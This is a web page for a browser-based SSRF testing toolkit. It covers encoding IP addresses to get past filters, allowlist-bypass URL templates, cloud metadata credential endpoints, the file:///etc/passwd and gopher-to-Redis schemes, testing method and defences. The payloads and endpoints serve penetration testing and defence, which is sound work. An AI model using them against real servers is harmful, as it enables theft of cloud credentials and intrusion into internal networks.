Free tool · runs in your browser

SSRF Toolkit

Generate the equivalent spellings of an IP address (decimal, octal, hex, IPv6-mapped) to test an SSRF filter, with the metadata endpoints of the main clouds.
Local processing No data sent No account Initial access

Powered by ip-address · MIT

01Address encoder

Dotted decimal, or any spelling WHATWG URL turns into an IPv4 (0x7f000001, 127.1, ::ffff:127.0.0.1).

{ip} is replaced by each spelling in the copied list. Empty: the bare spellings.

Examples
One spelling per line, ready for Burp Intruder or ffuf.

How a spelling is read depends on the client. inet_aton (glibc) accepts octal, hex and short forms, as does the WHATWG URL IPv4 parser. inet_pton rejects them, and Python’s ipaddress module has rejected leading zeros since 3.9.5 (CVE-2021-29921). The WHATWG column gives the reading of browsers, Node and the clients that follow this standard, computed by your own browser: always test the target’s actual client.

SpellingTypenew URL().hostnameReading
Which client accepts which spelling
Integer
A single 32-bit number. inet_aton (glibc) and WHATWG URL accept it in decimal, hex (0x) and octal (leading 0); inet_pton rejects it.
Dotted
Four parts, each in hex or octal. A leading zero means octal to inet_aton and WHATWG; Python’s ipaddress module has rejected leading zeros since 3.9.5 (CVE-2021-29921).
Short form
The a.b and a.b.c forms of inet_aton, also accepted by WHATWG: the last part fills the remaining bytes.
Mixed
Each part picks its own base. Useful against filters that look for one pattern (0x7f, 0177).
URL encoding
WHATWG decodes %XX in the host before parsing it. A filter that tests the raw string does not see the address.
Unicode
WHATWG applies UTS #46 mapping (fullwidth digits, circled digits, ideographic full stop) before the IPv4 parser. A client that does not treats the string as a name.
IPv6
In brackets, as in a URL. A dual-stack IPv6 socket (the Linux default) reaches the IPv4 inside a mapped address; 6to4 and NAT64 only get there through a relay or a gateway.
Local alias
Other ways to reach the local host. On Linux, a connection to 0.0.0.0 lands on the machine itself.
Wildcard DNS
Public names that resolve to the IP they contain (nip.io, sslip.io). The target must be able to resolve an external name. Shown as text only; this page never queries them.

02Allowlist bypasses

Each template is parsed by WHATWG URL. T stands for the allowed domain and A for the attacker host. The three naive checks tested: url.includes(T), url.startsWith("https://" + T), host.endsWith(T).

TechniqueURLReal host (WHATWG)Naive checks

Paste the URL your filter has to judge: this is what WHATWG URL makes of it.

03Cloud metadata endpoints

Taken from each provider’s official documentation in October 2026. The Headers column says whether an SSRF that only controls the URL of a GET is enough.

PlatformRequestHeadersSource
AWS EC2 IMDSv1
  1. GET http://169.254.169.254/latest/meta-data/

Credentialshttp://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

Available as long as the instance does not require IMDSv2 (HttpTokens set to optional). IPv6 address on Nitro instances: [fd00:ec2::254].

None: a GET is enough
AWS EC2 IMDSv2
  1. PUT http://169.254.169.254/latest/api/token
  2. GET http://169.254.169.254/latest/meta-data/

Credentialshttp://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

It takes a PUT and then a custom header: an SSRF limited to GET is not enough. No token is issued to a request carrying X-Forwarded-For, and the PUT response has an IP TTL of 1 by default.

Header required
  • X-aws-ec2-metadata-token-ttl-seconds: 21600
  • X-aws-ec2-metadata-token: <token>
AWS ECS Task role
  1. GET http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

Returns the task role credentials directly. The path is unique to each task and lives in a container environment variable: you have to read it first (file:///proc/self/environ, leaked logs).

None: a GET is enough
Google Cloud Compute Engine, GKE
  1. GET http://metadata.google.internal/computeMetadata/v1/

Credentialshttp://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Also reachable at 169.254.169.254. Without the header the server denies the request; any request carrying X-Forwarded-For is rejected.

Header required
  • Metadata-Flavor: Google
Microsoft Azure IMDS
  1. GET http://169.254.169.254/metadata/instance?api-version=2025-04-07

Credentialshttp://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

The api-version parameter is mandatory (the documentation lists the values). The request must carry Metadata: true and must not carry X-Forwarded-For.

Header required
  • Metadata: true
DigitalOcean Droplet
  1. GET http://169.254.169.254/metadata/v1/

The service holds no cloud credentials. user-data (/metadata/v1/user-data), on the other hand, often holds boot scripts and secrets.

None: a GET is enough
Oracle Cloud IMDSv1
  1. GET http://169.254.169.254/opc/v1/instance/

Legacy /opc/v1 and /openstack endpoints, no header. They return 404 once IMDSv1 is disabled.

None: a GET is enough
Oracle Cloud IMDSv2
  1. GET http://169.254.169.254/opc/v2/instance/

Every v2 request must carry this fixed header: the SSRF only needs to let you add a header.

Header required
  • Authorization: Bearer Oracle
Alibaba Cloud ECS, normal mode
  1. GET http://100.100.100.200/latest/meta-data/

Credentialshttp://100.100.100.200/latest/meta-data/ram/security-credentials/<role-name>

Accepted by default; the documentation calls it insecure.

None: a GET is enough
Alibaba Cloud ECS, security hardening mode
  1. PUT http://100.100.100.200/latest/api/token
  2. GET http://100.100.100.200/latest/meta-data/

Credentialshttp://100.100.100.200/latest/meta-data/ram/security-credentials/<role-name>

Same idea as AWS IMDSv2: a PUT for a token (1 to 21,600 seconds), then a header on every request.

Header required
  • X-aliyun-ecs-metadata-token-ttl-seconds: 21600
  • X-aliyun-ecs-metadata-token: <token>
Kubernetes API server from a pod
  1. GET https://kubernetes.default.svc/api

Credentialsfile:///var/run/secrets/kubernetes.io/serviceaccount/token

The service account token is mounted in the container: an SSRF that reads file:// gets it, an HTTP SSRF that adds the header uses it.

Header required
  • Authorization: Bearer <service-account-token>
Kubernetes Kubelet API
  1. GET https://<node-ip>:10250/metrics

By default the kubelet binary treats unauthenticated requests as anonymous and its default authorisation mode is AlwaysAllow. Most distributions harden these settings (--anonymous-auth=false, Webhook): check.

None: a GET is enough

04URL schemes

What each scheme allows when the target’s client accepts it. libcurl handles most of them depending on its build (curl --version lists the available protocols).

SchemeExampleUse in SSRF
http, https http://127.0.0.1:8080/admin Internal web services, admin consoles, metadata APIs. Status codes and response times also serve to scan ports.
file file:///etc/passwd Local file read when the client allows it (libcurl, java.net.URL, PHP file functions). On Windows, file://host/share opens an SMB connection that can hand over a NetNTLM hash.
gopher gopher://127.0.0.1:6379/_PING%0D%0A Arbitrary TCP bytes after the first character of the path, %XX-encoded: talk to Redis, Memcached, SMTP or FastCGI. Supported by libcurl.
dict dict://127.0.0.1:6379/INFO Sends one command line to a TCP port and returns the answer: banners and single-line commands (Redis, Memcached). Supported by libcurl.
ftp ftp://10.0.0.5/ Listing and reading on an internal FTP server. A server that accepts a PORT command towards a third party connects to the chosen host (FTP bounce).
ldap, ldaps ldap://10.0.0.10:389/dc=corp,dc=local Queries to an internal directory (libcurl). On Java, a JNDI lookup to ldap:// can load a remote object.
tftp tftp://10.0.0.5/config.txt Reads a file from a TFTP server (UDP 69), common on network equipment. Supported by libcurl.

What is SSRF?

SSRF, or Server-Side Request Forgery, is a vulnerability that lets an attacker make a server send a request to a chosen destination. It can expose internal services, local interfaces or cloud metadata reachable by the server but not directly from the Internet.

What an SSRF is

A Server-Side Request Forgery (CWE-918) happens when an application fetches a resource from a URL supplied by the user: image import by link, webhook, link preview, PDF generator, SAML or OpenID metadata loaded remotely. The attacker gets the server to send the request from its own network position. It reaches what is not exposed to the Internet: services listening on 127.0.0.1, the internal network, admin consoles and, in the cloud, the instance metadata service, which hands out temporary credentials.

OWASP gave SSRF its own category, A10, in the 2021 Top 10. The 2025 edition folded it into A01 (Broken Access Control): the flaw is that the server reaches, on your behalf, resources that should be closed to you.

Why blocklists fail

A filter that refuses 127.0.0.1 or 169.254.169.254 compares a string, while the client resolves an address. One address has dozens of spellings that the C library or the WHATWG parser accept: decimal integer, hex, octal, short forms, IPv4-mapped IPv6, Unicode. The encoder above generates them and shows what a conforming parser reads.

The other bypasses do not even touch the spelling. A redirect: the filter approves https://your-server/, which answers 302 to http://169.254.169.254/, and the client follows. DNS: a public name such as 127.0.0.1.nip.io resolves to the internal address, and DNS rebinding serves a public address at check time and an internal one at connection time, thanks to a very short TTL. Finally, parser differentials: Orange Tsai showed at Black Hat USA 2017 that common libraries do not split a URL in the same place (@, #, backslash). The check and the request then read two different hosts, which section 02 makes visible.

Cloud metadata, Capital One and IMDSv2

Metadata services answer on a link-local address reachable only from the instance, and hand over the credentials of the role attached to it. In March 2019, an intrusion at Capital One started from a misconfigured web application firewall on EC2: according to published analyses, it relayed requests to the metadata service, and the IAM role credentials obtained were used to copy data stored in S3. The bank announced the incident on 29 July 2019; it affected about 100 million people in the United States and 6 million in Canada. The OCC fined it 80 million dollars in August 2020.

AWS released IMDSv2 on 19 November 2019. The client opens a session with a PUT to /latest/api/token and then presents the token in the X-aws-ec2-metadata-token header. An SSRF that only controls the URL of a GET gets nothing. No token is issued to a request carrying X-Forwarded-For, and the PUT response leaves with an IP TTL of 1, which stops it from crossing an extra network hop. Google Cloud (Metadata-Flavor: Google), Azure (Metadata: true) and Oracle Cloud version 2 (Authorization: Bearer Oracle) also require a header. The table in section 03 shows, for each provider, whether a plain SSRF is enough.

Method on an engagement

First find every feature that accepts a URL or a host name, including hidden parameters, headers (Referer, Host behind a proxy) and documents processed on the server (SVG, XML with external entities, HTML rendered to PDF). Confirm the outbound request with a domain you watch: Burp Collaborator in Burp Suite Professional, or ProjectDiscovery’s interactsh, open source and self-hostable. A DNS interaction alone proves resolution; an HTTP request proves the connection and often gives the client’s User-Agent, and therefore its parser.

When the response is not returned (blind SSRF), measure differences in timing and error codes between open and closed ports. Then aim at 127.0.0.1 and the metadata endpoints; if a filter blocks you, run the encoder’s list through Burp Intruder, then try a redirect from your server and a nip.io name. A gopher payload to Redis or SMTP really writes to the service.

Defending against it

  • Parse the URL once, with the parser of the client that will send the request, and compare the resulting host with an allowlist: strict equality, or a suffix preceded by a dot.
  • Resolve the name, refuse any loopback, private (RFC 1918), link-local (169.254.0.0/16) or CGNAT address and their IPv6 equivalents, after normalising IPv4-mapped addresses, then connect to the address you checked to shut out DNS rebinding.
  • Disable redirect following or validate every hop again, and limit schemes to http and https.
  • Require IMDSv2 (HttpTokens=required) on every EC2 instance, with a hop limit of 1 when no container needs more.
  • Filter egress traffic: an application server needs only a few destinations, and containers rarely need to reach 169.254.169.254.
  • Never return the remote server’s raw response to the user, nor its detailed error messages.

?Frequently asked questions

Does the tool send requests to the generated addresses?

No. The spellings are produced by ip-address and parsed by your own browser’s URL parser, with no network connection. The nip.io and sslip.io names are shown as text and never resolved, and the documentation links only open if you click them.

Why does 0177.0.0.1 mean 127.0.0.1?

It is inherited from inet_aton: a leading zero means octal, and 0177 is 127. Browsers, Node and the C library follow that rule, while Python’s ipaddress module has rejected leading zeros since 3.9.5 (CVE-2021-29921), after reading 0127 as decimal. A filter written in Python and a libcurl client can therefore read two different addresses in the same string.

Which spelling should I try first?

The one that breaks the pattern the filter looks for. A regular expression blocking 127. or 169.254. falls to the decimal integer and the short forms; an IPv4-only blocklist falls to the IPv4-mapped IPv6 form. If none gets through, a redirect from your server and DNS (nip.io, rebinding) get past any check that works on the string.

Does IMDSv2 make an SSRF harmless on AWS?

It stops the most common SSRF, the one that only controls the URL of a GET: you first need a PUT with a header, then the X-aws-ec2-metadata-token header on every request. An SSRF that controls the method and headers, or code running on the instance, still gets a token. The IP TTL of 1 and the refusal of requests carrying X-Forwarded-For limit relaying through proxies.

How do I confirm a blind SSRF?

Give the feature a URL you watch: a Burp Collaborator domain or an interactsh server. A DNS lookup alone proves resolution, an HTTP request proves the outbound connection and often reveals the client (User-Agent). After that, differences in response time or error code between an open and a closed port let you map the internal network without seeing the response.

How do I write a correct allowlist?

Parse the URL once, with the parser the client will use, then compare the resulting host with the list: strict equality, or a suffix preceded by a dot for subdomains. Then resolve the name, refuse any private, loopback or link-local address, and connect to the address you checked. Disable redirects or validate every hop again.

+More tools

Technical assessment

Request an application or infrastructure assessment

For an assessment by our team, specify the systems involved, available access and requested tests in your enquiry.